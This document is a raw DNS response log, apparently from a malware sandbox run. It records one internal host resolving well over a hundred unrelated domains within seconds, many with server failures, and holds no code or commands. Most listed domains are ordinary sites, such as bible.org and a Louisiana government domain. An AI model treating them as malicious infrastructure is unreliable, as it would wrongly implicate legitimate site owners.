Jul 27, 2023 21:54:34.727189064 CEST	8.8.8.8	192.168.2.4	0xf0ea	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.770422935 CEST	8.8.8.8	192.168.2.4	0xa3cf	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.797497034 CEST	8.8.8.8	192.168.2.4	0x6e47	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.812906027 CEST	8.8.8.8	192.168.2.4	0x59a3	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.819628954 CEST	8.8.8.8	192.168.2.4	0xe921	No error (0)	603888.com	num6.17986.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:34.819628954 CEST	8.8.8.8	192.168.2.4	0xe921	No error (0)	num6.17986.net		67.21.93.229	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.820820093 CEST	8.8.8.8	192.168.2.4	0x8d28	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.849147081 CEST	8.8.8.8	192.168.2.4	0xf26c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.984608889 CEST	8.8.8.8	192.168.2.4	0xf6a0	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.028152943 CEST	8.8.8.8	192.168.2.4	0xf27d	No error (0)	cutchie.com		199.59.243.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.097122908 CEST	8.8.8.8	192.168.2.4	0x3c5	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.100663900 CEST	8.8.8.8	192.168.2.4	0x7b34	No error (0)	webways.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.100663900 CEST	8.8.8.8	192.168.2.4	0x7b34	No error (0)	webways.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.224519968 CEST	8.8.8.8	192.168.2.4	0x313c	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.247545004 CEST	8.8.8.8	192.168.2.4	0x8ce3	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.368570089 CEST	8.8.8.8	192.168.2.4	0x6cfb	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401437998 CEST	8.8.8.8	192.168.2.4	0xb4de	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401437998 CEST	8.8.8.8	192.168.2.4	0xb4de	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401437998 CEST	8.8.8.8	192.168.2.4	0xb4de	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401437998 CEST	8.8.8.8	192.168.2.4	0xb4de	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401932955 CEST	8.8.8.8	192.168.2.4	0x1b58	No error (0)	araax.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401932955 CEST	8.8.8.8	192.168.2.4	0x1b58	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401932955 CEST	8.8.8.8	192.168.2.4	0x1b58	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.401932955 CEST	8.8.8.8	192.168.2.4	0x1b58	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.462810040 CEST	8.8.8.8	192.168.2.4	0xfca7	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.482389927 CEST	8.8.8.8	192.168.2.4	0x3f88	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.504378080 CEST	8.8.8.8	192.168.2.4	0x27a4	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.522115946 CEST	8.8.8.8	192.168.2.4	0x8145	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.697062969 CEST	8.8.8.8	192.168.2.4	0x3457	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.719867945 CEST	8.8.8.8	192.168.2.4	0x4c8	No error (0)	likangds.com		156.251.140.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.742304087 CEST	8.8.8.8	192.168.2.4	0xb728	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.744441032 CEST	8.8.8.8	192.168.2.4	0xb661	No error (0)	tabbles.net		80.211.41.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.750370979 CEST	8.8.8.8	192.168.2.4	0xed88	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.772747040 CEST	8.8.8.8	192.168.2.4	0xe531	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.780181885 CEST	8.8.8.8	192.168.2.4	0xa3cf	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.793905020 CEST	8.8.8.8	192.168.2.4	0x727	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.794708967 CEST	8.8.8.8	192.168.2.4	0x4c4d	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.808521032 CEST	8.8.8.8	192.168.2.4	0x5354	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.912518978 CEST	8.8.8.8	192.168.2.4	0x3084	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:35.977714062 CEST	8.8.8.8	192.168.2.4	0x7902	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.015399933 CEST	8.8.8.8	192.168.2.4	0x2172	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.068396091 CEST	8.8.8.8	192.168.2.4	0xf500	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.068396091 CEST	8.8.8.8	192.168.2.4	0xf500	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.068396091 CEST	8.8.8.8	192.168.2.4	0xf500	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.088207960 CEST	8.8.8.8	192.168.2.4	0x363	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.108836889 CEST	8.8.8.8	192.168.2.4	0x8ea7	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.157798052 CEST	8.8.8.8	192.168.2.4	0x6cff	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.179775000 CEST	8.8.8.8	192.168.2.4	0xfca7	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.211973906 CEST	8.8.8.8	192.168.2.4	0x7127	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.241192102 CEST	8.8.8.8	192.168.2.4	0xe5f	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.433871984 CEST	8.8.8.8	192.168.2.4	0x41a1	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.433871984 CEST	8.8.8.8	192.168.2.4	0x41a1	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.433871984 CEST	8.8.8.8	192.168.2.4	0x41a1	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.433871984 CEST	8.8.8.8	192.168.2.4	0x41a1	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.467268944 CEST	8.8.8.8	192.168.2.4	0x723e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.492135048 CEST	8.8.8.8	192.168.2.4	0x2c5a	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.535824060 CEST	8.8.8.8	192.168.2.4	0x3afd	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.552500010 CEST	8.8.8.8	192.168.2.4	0x2e30	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.554678917 CEST	8.8.8.8	192.168.2.4	0x84d8	No error (0)	rkengg.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:36.554678917 CEST	8.8.8.8	192.168.2.4	0x84d8	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:36.554678917 CEST	8.8.8.8	192.168.2.4	0x84d8	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.554678917 CEST	8.8.8.8	192.168.2.4	0x84d8	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.571635008 CEST	8.8.8.8	192.168.2.4	0xdb8d	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.571635008 CEST	8.8.8.8	192.168.2.4	0xdb8d	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.571635008 CEST	8.8.8.8	192.168.2.4	0xdb8d	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.580843925 CEST	8.8.8.8	192.168.2.4	0xc5d	No error (0)	koz1.net		72.251.233.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.584613085 CEST	8.8.8.8	192.168.2.4	0x2c8f	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.619708061 CEST	8.8.8.8	192.168.2.4	0x2007	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.690994978 CEST	8.8.8.8	192.168.2.4	0xc404	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.690994978 CEST	8.8.8.8	192.168.2.4	0xc404	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.690994978 CEST	8.8.8.8	192.168.2.4	0xc404	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.732933998 CEST	8.8.8.8	192.168.2.4	0x96f1	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.786478996 CEST	8.8.8.8	192.168.2.4	0x96a1	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.887654066 CEST	8.8.8.8	192.168.2.4	0x5f2b	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:36.935758114 CEST	8.8.8.8	192.168.2.4	0x81cf	No error (0)	dataform.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.032471895 CEST	8.8.8.8	192.168.2.4	0x21e3	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.066026926 CEST	8.8.8.8	192.168.2.4	0x89d9	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.071657896 CEST	8.8.8.8	192.168.2.4	0x6c81	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.071657896 CEST	8.8.8.8	192.168.2.4	0x6c81	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.084022999 CEST	8.8.8.8	192.168.2.4	0xaf0d	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.230204105 CEST	8.8.8.8	192.168.2.4	0xad0f	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.312922955 CEST	8.8.8.8	192.168.2.4	0xe5f	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.338080883 CEST	8.8.8.8	192.168.2.4	0x2b03	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.338080883 CEST	8.8.8.8	192.168.2.4	0x2b03	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.338080883 CEST	8.8.8.8	192.168.2.4	0x2b03	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.351522923 CEST	8.8.8.8	192.168.2.4	0xd9a4	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.362951040 CEST	8.8.8.8	192.168.2.4	0xab88	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.387377977 CEST	8.8.8.8	192.168.2.4	0x8543	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.387538910 CEST	8.8.8.8	192.168.2.4	0xe4c6	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.387538910 CEST	8.8.8.8	192.168.2.4	0xe4c6	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.387538910 CEST	8.8.8.8	192.168.2.4	0xe4c6	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.387538910 CEST	8.8.8.8	192.168.2.4	0xe4c6	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.413809061 CEST	8.8.8.8	192.168.2.4	0x96cc	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.413809061 CEST	8.8.8.8	192.168.2.4	0x96cc	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.413809061 CEST	8.8.8.8	192.168.2.4	0x96cc	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.413809061 CEST	8.8.8.8	192.168.2.4	0x96cc	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.467952013 CEST	8.8.8.8	192.168.2.4	0x723e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.553030968 CEST	8.8.8.8	192.168.2.4	0x64f2	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.553030968 CEST	8.8.8.8	192.168.2.4	0x64f2	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.633708000 CEST	8.8.8.8	192.168.2.4	0xc252	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.720531940 CEST	8.8.8.8	192.168.2.4	0x854f	No error (0)	aiolos-sa.gr		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.720531940 CEST	8.8.8.8	192.168.2.4	0x854f	No error (0)	aiolos-sa.gr		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.778669119 CEST	8.8.8.8	192.168.2.4	0xd636	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:37.911725044 CEST	8.8.8.8	192.168.2.4	0x5754	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.157255888 CEST	8.8.8.8	192.168.2.4	0xfee7	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.167665958 CEST	8.8.8.8	192.168.2.4	0x736f	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.167665958 CEST	8.8.8.8	192.168.2.4	0x736f	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.167665958 CEST	8.8.8.8	192.168.2.4	0x736f	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.425964117 CEST	8.8.8.8	192.168.2.4	0x77d9	No error (0)	apcotex.com		35.154.163.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.463440895 CEST	8.8.8.8	192.168.2.4	0xe138	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.483257055 CEST	8.8.8.8	192.168.2.4	0x723e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.507548094 CEST	8.8.8.8	192.168.2.4	0xdf95	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.507548094 CEST	8.8.8.8	192.168.2.4	0xdf95	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.511512995 CEST	8.8.8.8	192.168.2.4	0x92f8	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.527009964 CEST	8.8.8.8	192.168.2.4	0x33d1	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.546372890 CEST	8.8.8.8	192.168.2.4	0x29e3	No error (0)	tabbles.net		80.211.41.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.562104940 CEST	8.8.8.8	192.168.2.4	0xc64	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.567362070 CEST	8.8.8.8	192.168.2.4	0x1126	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:38.963260889 CEST	8.8.8.8	192.168.2.4	0x6b62	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.001115084 CEST	8.8.8.8	192.168.2.4	0xaf86	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.036945105 CEST	8.8.8.8	192.168.2.4	0x904b	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.036945105 CEST	8.8.8.8	192.168.2.4	0x904b	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.065512896 CEST	8.8.8.8	192.168.2.4	0x6f5b	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.124346972 CEST	8.8.8.8	192.168.2.4	0x185b	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.132379055 CEST	8.8.8.8	192.168.2.4	0x32c1	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.163090944 CEST	8.8.8.8	192.168.2.4	0xc9a9	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.215183973 CEST	8.8.8.8	192.168.2.4	0x7fe8	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.215183973 CEST	8.8.8.8	192.168.2.4	0x7fe8	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.293500900 CEST	8.8.8.8	192.168.2.4	0xbd73	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.293500900 CEST	8.8.8.8	192.168.2.4	0xbd73	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.293500900 CEST	8.8.8.8	192.168.2.4	0xbd73	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.301495075 CEST	8.8.8.8	192.168.2.4	0xaf4c	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.301986933 CEST	8.8.8.8	192.168.2.4	0x2d07	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.301986933 CEST	8.8.8.8	192.168.2.4	0x2d07	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.301986933 CEST	8.8.8.8	192.168.2.4	0x2d07	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.392829895 CEST	8.8.8.8	192.168.2.4	0x3e92	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.392829895 CEST	8.8.8.8	192.168.2.4	0x3e92	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.538247108 CEST	8.8.8.8	192.168.2.4	0x733e	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.573226929 CEST	8.8.8.8	192.168.2.4	0x2b73	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.622901917 CEST	8.8.8.8	192.168.2.4	0x5982	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.688951015 CEST	8.8.8.8	192.168.2.4	0xdd02	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.775496006 CEST	8.8.8.8	192.168.2.4	0xb085	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.813047886 CEST	8.8.8.8	192.168.2.4	0x8896	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.813047886 CEST	8.8.8.8	192.168.2.4	0x8896	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.813047886 CEST	8.8.8.8	192.168.2.4	0x8896	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.813047886 CEST	8.8.8.8	192.168.2.4	0x8896	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.814178944 CEST	8.8.8.8	192.168.2.4	0x530f	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.814178944 CEST	8.8.8.8	192.168.2.4	0x530f	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.817466021 CEST	8.8.8.8	192.168.2.4	0x7762	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.862313032 CEST	8.8.8.8	192.168.2.4	0x462a	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.862313032 CEST	8.8.8.8	192.168.2.4	0x462a	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.918416023 CEST	8.8.8.8	192.168.2.4	0x9fda	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:39.956788063 CEST	8.8.8.8	192.168.2.4	0x8095	No error (0)	leapc.com		35.231.13.148	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.069618940 CEST	8.8.8.8	192.168.2.4	0xff33	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.169394970 CEST	8.8.8.8	192.168.2.4	0xc9a9	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.299695969 CEST	8.8.8.8	192.168.2.4	0x569	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.397599936 CEST	8.8.8.8	192.168.2.4	0x2633	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.453083992 CEST	8.8.8.8	192.168.2.4	0xcb7c	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.453083992 CEST	8.8.8.8	192.168.2.4	0xcb7c	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.453083992 CEST	8.8.8.8	192.168.2.4	0xcb7c	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.497469902 CEST	8.8.8.8	192.168.2.4	0x723e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.690265894 CEST	8.8.8.8	192.168.2.4	0x11a1	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.690265894 CEST	8.8.8.8	192.168.2.4	0x11a1	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.690265894 CEST	8.8.8.8	192.168.2.4	0x11a1	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.690265894 CEST	8.8.8.8	192.168.2.4	0x11a1	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.788669109 CEST	8.8.8.8	192.168.2.4	0xb085	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.959744930 CEST	8.8.8.8	192.168.2.4	0xf41b	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:40.965749979 CEST	8.8.8.8	192.168.2.4	0x568b	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.083729982 CEST	8.8.8.8	192.168.2.4	0x76fe	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.083729982 CEST	8.8.8.8	192.168.2.4	0x76fe	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.083729982 CEST	8.8.8.8	192.168.2.4	0x76fe	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.083729982 CEST	8.8.8.8	192.168.2.4	0x76fe	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.180454969 CEST	8.8.8.8	192.168.2.4	0xc9a9	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.200702906 CEST	8.8.8.8	192.168.2.4	0xf379	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:41.286957026 CEST	8.8.8.8	192.168.2.4	0x407d	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
